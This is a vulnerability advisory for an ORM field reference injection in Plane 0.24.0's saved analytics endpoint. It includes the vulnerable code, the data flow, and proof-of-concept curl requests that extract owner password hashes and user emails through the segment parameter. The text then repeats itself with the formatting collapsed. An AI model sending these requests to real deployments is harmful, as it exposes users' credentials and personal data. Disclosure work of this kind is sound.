ORM Field Reference Injection via segment Parameter in Saved Analytics
Validation: Code trace
CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
CVSS 3.1: 5.4 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Auth Required: Workspace Member
Environment: Plane 0.24.0
Summary
The SavedAnalyticEndpoint passes the user-controlled segment query parameter directly to Django's F() expression without validation, unlike the regular AnalyticsEndpoint which validates against an allowlist. This allows an authenticated workspace member to extract values from any related database field by abusing Django's field reference resolution in annotated queries.
Vulnerable Code
File: apps/api/plane/app/views/analytic/base.py, line 219
class SavedAnalyticEndpoint(BaseAPIView):
@allow_permission([ROLE.ADMIN, ROLE.MEMBER])
def get(self, request, slug, analytic_id):
# ...
segment = request.GET.get("segment", False) # Unvalidated user input
# Flows to build_graph_plot()
File: apps/api/plane/utils/analytics_plot.py, line 75
def build_graph_plot(queryset, x_axis, y_axis, segment=None):
# ...
if segment:
queryset = queryset.annotate(segment=F(segment)) # F() with attacker input
queryset = queryset.values("dimension", "segment")
# ...
Data Flow
- Attacker authenticates as workspace MEMBER
- Attacker sends:
GET /api/workspaces/<slug>/saved-analytic-view/<analytic_id>/?segment=workspace__owner__password
segment = request.GET.get("segment", False) — captures attacker input
- Passed to
build_graph_plot(queryset, x_axis, y_axis, segment=segment)
F("workspace__owner__password") creates a Django field reference traversing FK relationships
.values("dimension", "segment") — the extracted field value appears in the "segment" key of the response
- Response JSON contains the actual values of the referenced field, grouped by dimension
Impact
- Workspace member can extract the value of ANY related model field
- Includes sensitive fields:
workspace__owner__password (bcrypt hash), API tokens, email addresses
- The extracted values are returned directly in the API response (not just leaked through ordering)
- Higher impact than the order_by injection because values are directly readable
PoC
# Extract workspace owner password hashes
curl "https://plane.example.com/api/workspaces/<slug>/saved-analytic-view/<analytic_id>/?segment=workspace__owner__password" \
-H "Cookie: session=<member-session>"
# Extract user email addresses
curl "https://plane.example.com/api/workspaces/<slug>/saved-analytic-view/<analytic_id>/?segment=assignees__email" \
-H "Cookie: session=<member-session>"
Contrast with Safe Code
The regular AnalyticsEndpoint at base.py:58 validates segment against valid_xaxis_segment allowlist before passing to build_graph_plot(). The SavedAnalyticEndpoint skips this validation entirely.
ORM Field Reference Injection via
segmentParameter in Saved AnalyticsValidation: Code trace
CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
CVSS 3.1: 5.4 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Auth Required: Workspace Member
Environment: Plane 0.24.0
Summary
The
SavedAnalyticEndpointpasses the user-controlledsegmentquery parameter directly to Django'sF()expression without validation, unlike the regularAnalyticsEndpointwhich validates against an allowlist. This allows an authenticated workspace member to extract values from any related database field by abusing Django's field reference resolution in annotated queries.Vulnerable Code
File:
apps/api/plane/app/views/analytic/base.py, line 219File:
apps/api/plane/utils/analytics_plot.py, line 75Data Flow
GET /api/workspaces/<slug>/saved-analytic-view/<analytic_id>/?segment=workspace__owner__passwordsegment = request.GET.get("segment", False)— captures attacker inputbuild_graph_plot(queryset, x_axis, y_axis, segment=segment)F("workspace__owner__password")creates a Django field reference traversing FK relationships.values("dimension", "segment")— the extracted field value appears in the "segment" key of the responseImpact
workspace__owner__password(bcrypt hash), API tokens, email addressesPoC
Contrast with Safe Code
The regular
AnalyticsEndpointatbase.py:58validatessegmentagainstvalid_xaxis_segmentallowlist before passing tobuild_graph_plot(). TheSavedAnalyticEndpointskips this validation entirely.